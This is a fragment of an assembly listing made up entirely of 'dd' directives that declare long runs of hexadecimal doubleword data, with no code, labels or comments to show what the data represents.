		dd 0C4538210h, 48065648h, 8D3D0B3Ch, 320600F0h,	6C57B39Ch
		dd 89D12038h, 84F0BE12h, 0EA140430h, 0A1BD0086h, 0D5ADF317h
		dd 0BC036127h, 0BEB76A6h, 14C84CCAh, 0AF69FC01h, 41EC1FC0h
		dd 0BB9588h, 150EBB8h, 7872558Eh, 42C3B72Dh, 862FE08h
		dd 3D05FC47h, 0F8055203h, 0D483CE38h, 1E10AE5Dh, 0CFF1084h
		dd 1A6167D5h, 0E61F6AECh, 0E70BB975h, 8068239Bh, 24F8BE99h
		dd 3AFCAB9Ah, 2038AF13h, 6DCE6A44h, 0F4EBA40Dh,	470C989h
		dd 0DBDD0AA9h, 3B4C3C8Eh, 0FF0DFB89h, 20682003h, 3C2483BAh
		dd 0FF39EB20h, 648427B7h, 8890AD75h, 0C087451Dh, 59DA1718h
		dd 0B8007C56h, 505BB419h, 65CD1D0Ah, 80A52011h,	0C3606C40h
		dd 9131357Ch, 0F5D618B7h, 0E8A6A087h, 499CC32Dh, 0BDC01800h
		dd 4CAC5C38h, 0BE70FF66h, 6CB3002Eh, 0BCD0C647h, 0BD007DEDh
		dd 5D94FED5h, 2C196EB1h, 28C89B26h, 83DE0112h, 75DF2B48h
		dd 0F32C20C4h, 0F6921D01h, 55E2FC34h, 0EEAC6880h, 78DA898h
		dd 113CEB19h, 40F841E8h, 7D780148h, 5EDE0AD9h, 3DAAF06Dh
		dd 1084274Eh, 687AD0C2h, 809C2F9Ch, 4202BF37h, 243D6185h
		dd 0D0B6006Eh, 0F6737E7Bh, 0F5C49954h, 0E0E41A4Bh, 20CD0919h
		dd 0F4A01758h, 1EFD732Bh, 0CD039339h, 24912384h, 12689278h
		dd 1D844464h, 28F0B89Bh, 0E0162C13h, 0B040C803h, 0A9DEDC1Eh
		dd 53EF069Dh, 997A43B5h, 3373D25h, 0F4794014h, 80859C95h
		dd 62BE6070h, 0C058C956h, 1F24008Ah, 5501A179h,	3DA8612Ch
		dd 50979EF5h, 150100F4h, 0E60C8376h, 581A0100h,	20E229A1h
		dd 7738C0DDh, 6D288B12h, 0E768761Fh, 28418412h,	9EE1DFACh
		dd 0B0007862h, 0E47227C4h, 2BE0642Eh, 32794E00h, 9A770FE2h
		dd 10D90715h, 420847F5h, 44405995h, 9871D0EFh, 0B72E0A1Eh
		dd 8F9DC000h, 25378B9h,	44730351h, 1C697C3Fh, 0C8A02B9Fh
		dd 0B85C5610h, 0A4B0EB1Eh, 464B80B0h, 1C89727Dh, 7CF6662Ch
		dd 0B32A8B00h, 0E85C5F31h, 9C4A35DFh, 0C2C18238h, 68B3CC46h
		dd 9220DCA2h, 0B7A00151h, 658A171Ah, 6963DC27h,	0D0807099h
		dd 75D6A5A4h, 6ACB0061h, 0F3298A24h, 0A300A17Ch, 0AC81502Eh
		dd 1853CC1Dh, 80C779DFh, 3B2E207Bh, 182498E3h, 0FB0724A8h
		dd 0AAAD5460h, 49B8A0CFh, 4800CC1h, 0E11D2ACEh,	4CC012A9h
		dd 337FA79h, 0C1559516h, 0DFA0DC52h, 9E03446Eh,	0B48B5F10h
		dd 9421AD3Bh, 5AD25818h, 0BDC200CCh, 0AB407289h, 453C3513h
		dd 0F5B70095h, 889EBBC1h, 0C04304F8h, 0C378C86Eh, 409E56BCh
		dd 14A530D2h, 0F860FDD1h, 0BC66544Dh, 604B48B5h, 0F24DB82h
		dd 168BB0A0h, 0A8B1F5DCh, 4C69B4ACh, 74092E9Ch,	0D09169DCh
		dd 9C83910h, 0F0183DABh, 0A05951C8h, 5325E433h,	14180C81h
		dd 6CE89DE3h, 4CC97152h, 94B1C8E0h, 7B8D4204h, 9F204470h
		dd 587500AAh, 0A581CAB7h, 202F7F2Fh, 0D6FC0012h, 2C5FAE23h
		dd 10D84F43h, 0B36C508Fh, 6867440Bh, 0AFBC80BEh, 3020E9BFh
		dd 0CA09E4Bh, 0EDFB0412h, 81089E4Eh, 79C67D00h,	7EA7E82Bh
		dd 1BC3020Ah, 5094E05Fh, 68B75048h, 7E3AD8A6h, 550209CDh
		dd 0F984067h, 0DB470733h, 0CB409DB2h, 0F704AC84h, 2474382Ch
		dd 8D620436h, 7980E037h, 208380A1h, 0E1771A1Eh,	8EF855C2h
		dd 0AE088138h, 0FC6218B7h, 2D14F14Ah, 807B27DCh, 0C9F6840h
		dd 869C913Dh, 11A73AA0h, 175E1440h, 0C9E6443h, 208823CCh
		dd 165B993Ch, 0A853B5B3h, 78314C89h, 2A03E02Dh,	0DFAAA5EEh
		dd 0F4A0EDAAh, 7C94728Fh, 1046684Fh, 0B0F911CFh, 0A0A8985Ch
		dd 4CAAABA8h, 4100444Dh, 0D5B0BA08h, 0F1049BC1h, 5FEB1B83h
		dd 350F64F8h, 7106403Fh, 0AD0D109Dh, 0A821283Dh, 2A9FBEF8h
		dd 12684034h, 0D911E91Dh, 0AF709DC4h, 2516D905h, 9A1FE4B8h
		dd 0F2EB86A5h, 0C5011050h, 20E62AC7h, 0CC34633Eh, 5F1624CCh
		dd 437581ACh, 804528DFh, 7A5419E8h, 0C092EB8Dh,	0D1CF841h
		dd 933E3D84h, 6F8A1A48h, 87C30F19h, 16608918h, 0E8F7587Ch
		dd 42E6A202h, 74CC8FE4h, 7F4E09A4h, 5706434h, 6906DDEh
		dd 0AE68821Ah, 8A9D2DE3h, 0E63D0B64h, 9A447A4h,	2802358Dh
		dd 900472EFh, 0D0ACA4C4h, 6BD8DD02h, 0E8467D53h, 719F7400h
		dd 0AEA8147Ch, 58680263h, 0E66C0255h, 9209D85Ah, 1F8741Ch
		dd 0F366C07Ch, 40279870h, 724FE3C4h, 0CF330040h, 0A8BD0C20h
		dd 0F06221D0h, 823F3E7h, 2B171D0Ah, 0C0B20284h,	0F4C64F99h
		dd 7AE03C44h, 13BCA8D7h, 0ADD2615h, 83C40080h, 8C47B706h
		dd 0E017147Bh, 1809AE66h, 691C8EB8h, 0A65C10D0h, 0C403070Ch
		dd 66E05E1Dh, 580118F7h, 6C5AAD9Fh, 8BD0CC73h, 0EA7A0053h
		dd 0B5DF7BB4h, 0C0267618h, 0B001CBFh, 7E97106Dh, 0CD1618C9h
		dd 3045F0D4h, 5AC4BD54h, 5BB02860h, 1864CD6Ch, 680DD0E0h
		dd 5242066h, 27852C90h,	50304BB8h, 293C1CFBh, 12B4626Ch
		dd 92E8346Ah, 2CEC4FA0h, 3424E74Ah, 0DC4290D9h,	48BA00BDh
		dd 323AB25Ch, 0DFF20637h, 70090Bh, 0D4CE57C5h, 973DA95Fh
		dd 18016896h, 4DC81D11h, 0E0154887h, 0A15F850Dh, 5A7062CCh
		dd 0A29F8002h, 254859ABh, 0D59248A1h, 508308FAh, 0F1B04C39h
		dd 0B6531474h, 376C84A8h, 0EB408C77h, 9BD827h, 893C1970h
		dd 0C28DF43h, 0FF18A048h, 6C8A2805h, 0E0A2A9BEh, 0A6A87F02h
		dd 58F0F2DFh, 59207A0Ch, 91177843h, 1B123D24h, 8828D597h
		dd 0A440AF24h, 0B55A02B2h, 80467A6Bh, 0B8EAC73h, 911529B7h
		dd 0CC611DB8h, 30746450h, 54A890A8h, 408A100Ah,	0A90081BCh
		dd 3799A854h, 3FCF791Ch, 3D177468h, 4BB8F084h, 0B6207D16h
		dd 0FB97105Dh, 4AE44005h, 207C6C88h, 28204847h,	0F8E34CDFh
		dd 652A2478h, 0EF3D8670h, 0C00A5030h, 7C1BF8EDh, 7BCDB600h
		dd 0D353CB3Dh, 401C1211h, 73E93398h, 0A3606065h, 4D91E7E0h
		dd 2D75092Bh, 8442ADDFh, 0EB0410C5h, 80970C7Bh,	761D6733h
		dd 59FAF808h, 4901D4F5h, 9A31CFB7h, 7092C530h, 5A5A0DF0h
		dd 0F87D0430h, 0C054A042h, 0D55C3C30h, 14A4A474h, 0C4F1AF93h
		dd 60B673C0h, 99CA46E2h, 6C00D8B3h, 0A4877B8h, 78B4261Dh
		dd 0CD980A0h, 0EB1FEDA3h, 9884C830h, 30DFB0A5h,	2C40F36Bh
		dd 54D44408h, 784F2F80h, 0EB410C4Ch, 45C9862Fh,	4006BD4Fh
		dd 128B0FFh, 947F8E9h, 0F81FC37Eh, 6D6951E0h, 0B88C8491h
		dd 60F4B0C4h, 0C3B72FADh, 0C150811h, 8304B438h,	48BD4E55h
		dd 7BFC6810h, 0AFD05900h, 0B6EB669Ch, 0F90CB60h, 0BCDB732h
		dd 47277DC4h, 5459B4C0h, 0E2378505h, 80448F8h, 0C8A628BDh
		dd 885BC850h, 4863E13Dh, 0CDC35418h, 0F87F40B0h, 184161ABh
		dd 0E0F5F2B1h, 90C2C601h, 40911138h, 1FA1398Ch,	828371E8h
		dd 45F31787h, 95A0FC43h, 4A000DC2h, 37CD14A5h, 2A6325h
		dd 5913A6FDh, 1F217C70h, 85AEE606h, 11865CAh, 80483F2Eh
		dd 50703EE0h, 0F7B81EA4h, 0D576F000h, 8D99E6F5h, 0F8985Bh
		dd 659773F6h, 0EF16CD4Fh, 2C8C0751h, 0D946C00Ch, 4C297E5Ah
		dd 0E00CE8B8h, 67587192h, 59011CB0h, 60868F48h,	71BD5F54h
		dd 725C28E2h, 4C951607h, 1C4B9416h, 21C648Eh, 1D0FF9DBh
		dd 8C60E441h, 16182355h, 0C188DDADh, 3FCB8AFh, 3C488FCBh
		dd 9FC071Dh, 0A81505ADh, 89F43840h, 1C5B2F4Dh, 0BAC440Fh
		dd 40805D47h, 741EA658h, 2E606706h, 16298A3Bh, 378930EBh
		dd 0EAB583B4h, 0A7A0100Bh, 0CFF8646Eh, 0AE805A64h, 0C316D34Fh
		dd 0D028A260h, 261FA4D5h
		dd 34555Ch, 12B72060h, 2B3AC2F5h, 7209782Fh, 6569F830h
		dd 0A69588E8h, 832E4509h, 11ADD1CCh, 48A86581h,	35FD00B0h
		dd 0B932C149h, 996C48F1h, 6FED1Eh, 7C74BBEh, 4E017CCAh
		dd 0FA294828h, 0A8507A20h, 0B464D0BEh, 3D803038h, 11C74C31h
		dd 9182AFC3h, 0DA02006Ah, 0C0B2BF37h, 674CA903h, 7871EE20h
		dd 27F30288h, 7F0F0746h, 362B061h, 0D2DAD0C0h, 69211356h
		dd 8DDC8CADh, 0D6D30582h, 60DECE4h, 0D5807869h,	0F23EE823h
		dd 0D30C0238h, 494B6CC2h, 0E2FC00h, 95EC18AAh, 0B7C3A200h
		dd 26BC651Ah, 5C1D3B24h, 798404C8h, 7A005D63h, 402782ECh
		dd 75EA2CF8h, 0E0AB0864h, 1AF6660Bh, 2024DA84h,	0B70E131Bh
		dd 4081ECF1h, 36463871h, 0D33A0483h, 0B5A38C76h, 81434F0h
		dd 0C50078B6h, 5FC6EA12h, 1F0D9028h, 2E278535h,	2DF82630h
		dd 7BB5B0E0h, 0BE85149Ch, 0C4D12D46h, 8635279h,	4368D85h
		dd 0AD9A9Ch, 20B64DC2h,	3F353F51h, 0F30EB3Ch, 263DF880h
		dd 442D031Fh, 45404699h, 25B7072h, 0C9EB4BE4h, 0AB00F8DCh
		dd 1EC4770Bh, 0A5E0275Dh, 72988463h, 10091CC9h,	6638B31Dh
		dd 0AEB72000h, 60A28900h, 0C91F58BAh, 10A14D20h, 34FBD513h
		dd 2EE8F288h, 544450A9h, 5D1CE042h, 1EF028EBh, 7D098278h
		dd 7612A55h, 0E2754F68h, 945C50E1h, 0AB2001CDh,	0E2770428h
		dd 18F82D74h, 5258645Dh, 20658088h, 807B5831h, 0ADFD3455h
		dd 99802C6Dh, 0D430355Dh, 141F3D12h, 9B4CB4h, 5F68CD7Eh
		dd 9EEB503Bh, 9209489Ch, 5F0CCCAFh, 5CA80072h, 0DD8F453Fh
		dd 5916C50Ah, 0E7139C09h, 0D201481h, 0A20E04EAh, 0F34077BCh
		dd 0DBA8726Ch, 0CBC03051h, 9C3C75C0h, 78605AFEh, 62DBDFAFh
		dd 61463944h, 19D4072Bh, 89527A90h, 29AB012Ah, 49B45C3Fh
		dd 0B7A0FF7Eh, 94003BE9h, 0DA53E10h, 4661443h, 20F167D6h
		dd 0D510D09Fh, 61001F26h, 2E193F37h, 5FFDEDCh, 2B5F7A8Dh
		dd 5734C12Ah, 0D9410782h, 74305E76h, 0AF3B3E26h, 734FC380h
		dd 0C66149D0h, 0F97D8403h, 8018A966h, 4FBA6845h, 98501737h
		dd 6012B40Ch, 0DC305D65h, 75E4F0h, 2083551Eh, 5347B396h
		dd 8C20BC91h, 0EC347F00h, 9990FF0Ah, 0B0B0F7h, 840CDBD5h
		dd 48D3AE0h, 170EE490h,	0C08CBE61h, 96E341F5h, 0DF010DECh
		dd 3970F25Ah, 971C009Ch, 450BE015h, 0E867781Eh,	6EDF171Fh
		dd 6C18CCC3h, 4E18AB5Ch, 5DEB0C42h, 84D46896h, 6B90B45Eh
		dd 0F709B4E4h, 226AFA7Bh, 40224B08h, 4BBB160h, 0DF3DD3CCh
		dd 63408011h, 0AA01AB7Bh, 6028035Ah, 0C0E08050h, 0E682CDFh
		dd 472B88A0h, 0A4F514h,	832B867h, 0B45F87Bh, 65134353h
		dd 82203C85h, 0F8F8D98Bh, 80C9F49Eh, 47ABA824h,	0C28788Ch
		dd 80E616C1h, 8B0C7720h, 3801A3DFh, 0D812006Bh,	0D5910B6Dh
		dd 63056AC3h, 9BEBAEF1h, 5C5D1CA0h, 0E9329C1Bh,	24C161A4h
		dd 0E00B2AABh, 139480C0h, 3F665BE8h, 862A5970h,	20B0F4h
		dd 0C9FBC14Ah, 7C1D3E45h, 21EC2649h, 66EB060Ch,	0A800689Eh
		dd 0E4886F0Eh, 3FA1C72h, 0EB7AE17Fh, 201CECDAh,	6B0B1067h
		dd 1DE42189h, 0F0878ABAh, 841C17AEh, 0DFFCA0F3h, 0A59460C0h
		dd 9577DEFh, 0F87338E7h, 0A09D0C80h, 0B100A73Eh, 49B87ABAh
		dd 2F5FCB5Bh, 308188ECh, 0DE3C3DA5h, 0E0DE0470h, 8CA0D916h
		dd 60734A4Dh, 0BE5C48BCh, 781E707h, 488BBDB6h, 0F27F5E8h
		dd 0C4DC0C22h, 251D27Ch, 8A4932D3h, 3D5F48E0h, 50BC7CFBh
		dd 0C1DA5ACh, 98D916CBh, 9C6027E1h, 8CDA4877h, 0C7496CC3h
		dd 50B52118h, 98652689h, 3D09868h, 16C258EFh, 2826CEC1h
		dd 0E38BF877h, 82D4115Ah, 41EF1074h, 346EE581h,	7B4A8B7Ch
		dd 4347C440h, 343DA281h, 8B288D29h, 79EB0BD8h, 4A6C90BDh
		dd 44191D8Bh, 68307257h, 1449A08Fh, 44B0C59h, 74803803h
		dd 98656E1Fh, 0B0C9F00Dh, 0C5088210h, 0AC7E84A4h, 0C058A411h
		dd 55911602h, 604665CAh, 28B45394h, 9EC4667Ah, 0B8E1C99Ch
		dd 8005CE70h, 0E05110B1h, 0F60868CFh, 0EB5C989Dh, 0A8A860C4h
		dd 0B9AA52CEh, 23D870Bh, 0E6ACA0A2h, 0C0A16420h, 10DD1548h
		dd 0CD014FA3h, 8441EFEh, 1C387794h, 63248096h, 0F24C931Ch
		dd 7EB5118Ch, 47015458h, 0E0B36CC6h, 4E29C093h,	4855EB26h
		dd 38257993h, 9D8F7481h, 5F89C500h, 0F096600h, 831DB72Ah
		dd 6E6C0790h, 70404238h, 0C2E3C506h, 0D45D5303h, 0A041F868h
		dd 79FAB4Ah, 0E61FCFB7h, 43607081h, 235C2B53h, 56380450h
		dd 3CC078C3h, 0A69CC1Bh, 0CD37C6A9h, 805D02C0h,	18C1D094h
		dd 0F86600E6h, 8834131Ch, 0ED3016D4h, 0D36C0BBCh, 454C463h
		dd 0C06F66C7h, 0BD0AC02Ah, 0A60A5C58h, 707CE4BFh, 0ACF45916h
		dd 90BAh, 0BF11B7B2h, 604BA87Bh, 0E320DC98h, 3279006Fh
		dd 550963EDh, 545EFC3Dh, 0E00060E5h, 0A95C0159h, 45E04BB0h
		dd 28A66462h, 90B41238h, 9C9427h, 0ABD3CAB8h, 209867CCh
		dd 4E45DF18h, 12CF7440h, 13977EEDh, 4A94CB18h, 8D88C2h
		dd 6A58DC41h, 0F55C1D00h, 0A421D144h, 0AADF3E83h, 0C604C4DDh
		dd 9009E06Dh, 170C8448h, 0E11FB813h, 0C97E2B00h, 3DE476Bh
		dd 8DE5AB9Fh, 1A883A37h, 0F538D52Bh, 4D320152h,	20B32C04h
		dd 8C453C6h, 22808508h,	0BAB65E03h, 0C72904D5h,	0F0B1420Eh
		dd 94B44508h, 7C906597h, 161C8125h, 4E720A8h, 0C2DC7725h
		dd 1C797840h, 20E9C001h, 208F216Ah, 28812EDDh, 38808F44h
		dd 30E72D78h, 13092B04h, 4C8C9244h, 0EB19A138h,	0A89F142Eh
		dd 0F94D969h, 732B1EC7h, 0D87FA007h, 0E0EAF80Fh, 71E52BD6h
		dd 0EFB81620h, 0F45C0E3Eh, 952A59E5h, 8790A030h, 0CE38DD58h
		dd 8ED6E2A6h, 10487135h, 7B4312F6h, 0C24B3C71h,	175DEC48h
		dd 0E41CDF46h, 0B4033E9Ch, 443716B8h, 989661h, 0B0178B41h
		dd 0F74921F3h, 25EB680Dh, 0AC31D8B8h, 3E6EAEE4h, 0E72D11C9h
		dd 4635DC22h, 1D86DCC5h, 13100F84h, 281081B8h, 56301D64h
		dd 0EDAB201Eh, 857B051Bh, 5994536Ah, 422A70E4h,	0B8E0B50Ch
		dd 0FB5F83E0h, 0AC209425h, 4F26EB85h, 3DB03876h, 7C015F5Ah
		dd 0A3F6C9B8h, 0F8912EF8h, 0A1CB250h, 19F8EFC0h, 17B8051Ch
		dd 5878F37Ch, 0E8E51388h, 13C950F0h, 5DBF4316h,	7BB440FCh
		dd 5D519C46h, 1FA85462h, 2D1900D3h, 8BFDE244h, 492FEF68h
		dd 1AF00E64h, 5418C11Eh, 80F7F1EBh, 45ADAC50h, 2E09F7Eh
		dd 3D65A13Ch, 86E27C9h,	40676922h, 0B09F666Bh, 9D8AB67Ch
		dd 0DC5CA812h, 0C6951E80h, 9EDF871h, 8EBC3D76h,	8525B471h
		dd 5498AE84h, 663B0054h, 0BE99C3EBh, 0DDE84F15h, 0DFEAE0ABh
		dd 0F67D4C40h, 359167Eh, 5D8050A0h, 584C7C4Eh, 19D43086h
		dd 7016FF3Dh, 0ACE8485Ah, 6289D540h, 6ADE10B3h,	60956705h
		dd 0A08CF012h, 22534E89h, 78D8DD84h, 0EF137098h, 607138B9h
		dd 44EA8352h, 48A54B4Ch, 24A050F0h, 98056630h, 61A8EB4Ah
		dd 2E7548F1h, 0E0C9864Dh, 987917h, 0FED535DEh, 3F0FA6B1h
		dd 0DD22840Dh, 0D9F034B8h, 1FF70080h, 0B20E045Dh, 201EF532h
		dd 2B2F8735h, 0EBF8C0A0h, 68E260FFh, 0EAF3A9B0h, 63E57502h
		dd 547D686Ch, 52DB40E8h, 0FE48A251h, 45760150h,	0F737BC50h
		dd 8028061h, 4088D6BDh,	9A012C79h, 0D9556E03h, 145FD816h
		dd 0C4859450h, 72EB3B81h, 0FF6E8156h, 0EADF501Ch, 1365CCE0h
		dd 0A4601020h, 9905B730h, 0FEFBC0ADh, 3500ECF2h, 0DFA14375h
		dd 4492D4B5h, 30C10A4Bh
		dd 0C0488AFEh, 44449CB8h, 0E243851Dh, 8FA625FCh, 0D8E88E94h
		dd 78D20C18h, 0C03A0483h, 818AADF4h, 24AEBF3Dh,	10B27B4h
		dd 0A3594Ch, 7D94ADA4h,	4D410009h, 558D9572h, 0D070A29h
		dd 92865D97h, 347AC180h, 257701EFh, 62D97DBCh, 0FFB840ADh
		dd 1A166A81h, 0C8B085EBh, 501327A0h, 30AF2491h,	941ACDFCh
		dd 76E04BA4h, 27B4A2ACh, 4082D25Dh, 0D80B6A28h,	0CA493E70h
		dd 0DDE25C05h, 0E0B090F9h, 5482DB31h, 0D92041D0h, 82AC7C9Fh
		dd 7260501Dh, 0F03325A0h, 63EBE898h, 5A8A240h, 1C3C3DBEh
		dd 0FFDB0C89h, 0A2957829h, 0C8D96FB8h, 1D232678h, 18B2E57Fh
		dd 0A9AEC128h, 546EDF13h, 0E1FC6CD2h, 0B830B459h, 0BBAA0091h
		dd 0B7050353h, 9F5A794Eh, 37E020B5h, 0E91D141Bh, 0BF013029h
		dd 16A03992h, 249878B1h, 6100A433h, 0BDF0A681h,	0EC0501C1h
		dd 37AD39B6h, 0FA3030E2h, 7FA94100h, 13207D27h,	1360DFA3h
		dd 6AE8F424h, 0BA9762E0h, 3CC0BFCh, 2A327Ch, 2543FC29h
		dd 9A776C45h, 931D80C4h, 0E862C4BCh, 72004386h,	2A50F8h
		dd 0BF93BD29h, 68BE921Fh, 0C0483D64h, 2A30A086h, 9F8C8958h
		dd 83E4DC98h, 1AFC3880h, 185C8F20h, 4C0CAE81h, 0AFCAF054h
		dd 65217E02h, 0CC709E9Fh, 1B232084h, 57F97E09h,	0EB7F83CBh
		dd 860B662h, 8E463DA9h,	0BC7BF200h, 4C8301E6h, 0B401520Ah
		dd 0B82F5562h, 3C213BB3h, 1F001C0Eh, 0C62620CAh, 7C5030BBh
		dd 2F3D18A5h, 0B3E6E032h, 197EC51Dh, 0C102AE5Dh, 5725816h
		dd 7D740533h, 0FD7487D3h, 1D745151h, 12A8685Bh,	0CCB614E3h
		dd 0A9C14A00h, 0F10CDA7h, 0C341360Bh, 0BDDC8202h, 71A489DAh
		dd 82EC4848h, 0F7DC188Bh, 820CC059h, 1A8886Ah, 0E43A010Eh
		dd 0C8CD206Ch, 1092571Ch, 0B23C2574h, 1E8300EBh, 4F2D0EB9h
		dd 0B8D062DDh, 4C4A2EB3h, 0E414606Ah, 65215525h, 0F71D0EBCh
		dd 0DFE04752h, 0C2C150Fh, 0E9A072D0h, 70C4D00Bh, 7E988053h
		dd 673583h, 0DD5E6E5Bh,	71EE16CAh, 1F423CBAh, 7C11B60Bh
		dd 940A2450h, 0C0A5A3Dh, 7150BE82h, 0B7BC7277h,	740F8891h
		dd 9900E510h, 1FA3AF7h,	0FC5724h, 316D3B83h, 0D63DAFEDh
		dd 2341896Bh, 2E1F0670h, 255CB510h, 1D277CCCh, 57C00288h
		dd 2F9C81F5h, 0D46CC3DFh, 112545Dh, 0EA180B48h,	0E3F70C00h
		dd 0C8014F79h, 0EF29BB52h, 90417D18h, 4C36BFD5h, 0E13CD94Ah
		dd 0E3A82433h, 0C4C4F85Ch, 20E8EBB8h, 205E389Ah, 0C049C016h
		dd 3C84580Ch, 0B13F5F32h, 0A2ACD0D0h, 0EE1058C8h, 4DD5269Fh
		dd 0C1FD6504h, 6B7DDB40h, 0BC24EC74h, 0A83260C0h, 9A9CF2A5h
		dd 289095A8h, 0E482882Dh, 795F2048h, 59F9D525h,	40F709C8h
		dd 7C16F4D1h, 273704Eh,	896C4A35h, 2838816Ch, 0F88BF661h
		dd 30926389h, 4CB008D2h, 2B20988Eh, 60660942h, 0C484B25Ch
		dd 8BE4C8C3h, 0BFDB40h,	0E923844Eh, 0D67AEFF8h,	7F5C2448h
		dd 2C07C40h, 0BE75DA01h, 9CF976EBh, 0EEBDAA09h,	0CE7D023Ch
		dd 59357940h, 5ABEA840h, 0C3392100h, 0E82A5E1Eh, 7C4B00F8h
		dd 3757CD9Dh, 0BE16AEFCh, 0B3438Fh, 205C4B4Eh, 31A6D402h
		dd 3D61007Eh, 406A9808h, 2A47CEF4h, 722A20A4h, 1CBCB093h
		dd 0D0591E62h, 0BFB21D50h, 82BE0058h, 539C6430h, 5D04C300h
		dd 380AE22Ah, 9BC10549h, 0C03AED71h, 7251FD08h,	7DFBA09h
		dd 56829B3h, 70E84C94h,	44F4395Bh, 73E4E590h, 742C1704h
		dd 0F0AB9044h, 0F8EABF01h, 10642320h, 8A897C12h, 5BF70C60h
		dd 612900F1h, 0C04D4F58h, 0ABB13D68h, 15584A0h,	0AA304678h
		dd 5060101Ah, 4130B679h, 7C94804Ch, 32D0DF4Ch, 64347D80h
		dd 394CAE20h, 0E0D2F4h,	0B4AB067Eh, 517D03DFh, 0C8442D27h
		dd 0EAC028h, 0F5213A6h,	1DB98A8Fh, 25DFA200h, 7A1C3E8Eh
		dd 4994808h, 61819F00h,	4523EB80h, 2FA078C7h, 414C4FBh
		dd 0EB4A36FDh, 7274A8C6h, 1884E4F7h, 0FE2B6E00h, 7D4335F7h
		dd 0C8873DC6h, 28BE9A98h, 15347260h, 60C0E8B6h,	148A575h
		dd 0DBDEB3E0h, 85D57F16h, 337DAD28h, 3BF37497h,	0DBD00794h
		dd 60229195h, 0A2F15F5h, 0B781D000h, 197C42C3h,	25603C7Fh
		dd 0B08EB28h, 91BA3DAAh, 0E3E0472h, 209B864Ch, 0D0BF59h
		dd 60212AD6h, 1C5EDF46h, 22568DDh, 5DF1F4h, 0BEB14C44h
		dd 0B03EB40Fh, 64A00960h, 0CEC02DB8h, 2056C0Fh,	19B0E8E2h
		dd 8560802Fh, 4F4B5030h, 0A5042472h, 20FFD78h, 62CF98Eh
		dd 0B068EE3Dh, 0C93CE94Ch, 4EF8047h, 27DF1F55h,	0A4E44509h
		dd 0A3EB540Ch, 48A520BBh, 0B882C80Dh, 22E09716h, 24277529h
		dd 1808CE46h, 38FEEFEBh, 0B948B097h, 0CB4F09B8h, 2080708Ch
		dd 83004674h, 0C7199436h, 9C143D42h, 1018B040h,	0CCB46AB3h
		dd 0C0BE013Ah, 0AC2B1DB7h, 0B95CA06Ah, 441D027Ch, 7C075177h
		dd 78803EA1h, 4E23DF2Eh, 0C04C34E0h, 411A0960h,	469AB003h
		dd 0D0C88522h, 77EBF74Ch, 0C7EF3CDDh, 8E6EC100h, 0EC1F4861h
		dd 0FE5E70Fh, 0D4011D53h, 0EAC14D87h, 3EB5BD0h,	0BE861C52h
		dd 0C68B494Ah, 0EFEE40CEh, 647F14FCh, 0C2863207h, 2F6B1B0h
		dd 3FDD7720h, 200325ADh, 0C1D3A9D4h, 43344EE0h,	83EFE238h
		dd 54D1700Eh, 8298C021h, 220D0384h, 0FC81AA89h,	8B6CA00Eh
		dd 84519961h, 0C13E5C43h, 52E0E5D1h, 0E0B0C679h, 50622869h
		dd 0E5157C1h, 531B3C7Fh, 0CA6338C9h, 62D00D11h,	67631131h
		dd 6E808127h, 14C580CCh, 781E4944h, 3CAC7C77h, 0EFCAAADh
		dd 2A8C15Dh, 812E3447h,	0C4355B48h, 0AE00425Eh,	1CD87E31h
		dd 33AB47F1h, 7430032Eh, 64A0DEB2h, 485F8B6Eh, 0C00752h
		dd 0DB74B018h, 7AD8EB1h, 0A8E6C7EAh, 0A07C36D4h, 74C6C180h
		dd 720680F2h, 0ACD3B16Bh, 0ABDE0028h, 0E4B93CD0h, 37754F35h
		dd 8608BE6Fh, 78024C8h,	0A6461A51h, 0C3059839h,	0D8405EB1h
		dd 0FE0BF519h, 9BAA187Eh, 0B1463057h, 20C58430h, 3CEA13B4h
		dd 0B850813Ch, 4FB0A03Eh, 47E50671h, 284966B1h,	745E358h
		dd 0B9F2BB24h, 180BACCEh, 340514C4h, 0BD10F0ECh, 16948D0h
		dd 0B106376Ch, 6986C216h, 20AFE9AAh, 468DF405h,	9802FB9Eh
		dd 809B511Dh, 0AAB187D8h, 54F8C0A2h, 5EB76EA1h,	4660D4F2h
		dd 80E476B8h, 0CCAF0644h, 0F08B8A45h, 74D7423Ch, 0A400FCA6h
		dd 0FF53606Ch, 1A4E48h,	82D7EE42h, 0AADDCBCCh, 0A1EC0300h
		dd 96896C15h, 9E8D063Dh, 502A5F46h, 0F5B82905h,	94040457h
		dd 0AE00D4CFh, 1F49CD4Ah, 110A1C91h, 0B0063CA3h, 1DB9A7A5h
		dd 220FD6h, 6AAA6C94h, 0FA1EDCC2h, 0BA1F9C53h, 0D809C00Ch
		dd 0A2767D97h, 0B1B02168h, 6092F4E4h, 0DFEC40C2h, 3B0EFADh
		dd 0D2B85754h, 0D4C82724h, 85CE4541h, 44E3119Fh, 90D546h
		dd 5F886E1Eh, 28F0A411h, 7838CC76h, 0A10C98EBh,	87D2518Ch
		dd 4357419Ch, 6C05B115h, 78124B48h, 0AAB82841h,	0C840398Ch
		dd 0BD80FCEAh, 42BB5A81h, 4A1C40AFh, 400CC621h,	40ED6AB1h
		dd 0E0FD61E5h, 0C40161FAh, 800C2BCh, 0DCF837F2h, 143CF482h
		dd 0A3CA0FF9h, 0CE24DE76h, 0DB905C3h, 68A08EDh,	0AD69250Dh
		dd 1D781130h, 78BB5301h, 82094D3Ch, 0DBFF071h, 0FA5BD49Fh
		dd 0D226DB3Bh, 3070147Fh, 5A5E8907h, 5807B749h,	0FB025C03h
		dd 8A703984h, 682251Bh,	0DB538F0h, 5403900Ah, 2A0108BCh
		dd 0CD4EA1Bh, 48B93E81h, 0EB7F3E23h, 187EFC3h, 0E025358Ah
		dd 63DF4D8Ch, 0C98B3BAh, 0C7BA8551h, 4766FD1Ch,	0C10669CCh
		dd 891C201Eh, 0D2CE5CDBh
		dd 5ACBC75Bh, 0C7594E0Ch, 0DCD1312Bh, 671F03AEh, 5485158Ah
		dd 6110F3B4h, 2C66788Eh, 5C0E8C4Ah, 5E63B6EAh, 3DD3F922h
		dd 6DC41410h, 0B0D0673Ch, 0E28A0A52h, 65C2C282h, 0ECC839EAh
		dd 0AC04AF2h, 38910660h, 30517BB3h, 0AE1617E0h,	10553169h
		dd 0BFBE80D6h, 545219F4h, 0D3F16C02h, 82285F07h, 571E2DC5h
		dd 0C755E78Ah, 790F1036h, 4C258C1Ch, 9D08D467h,	0E05130FAh
		dd 0C80540B8h, 650A883Ah, 8B8CD422h, 3B2C21h, 3B1835C4h
		dd 0A3D92AC7h, 7B0698FAh, 2B423C29h, 12BE5600h,	2E4AB062h
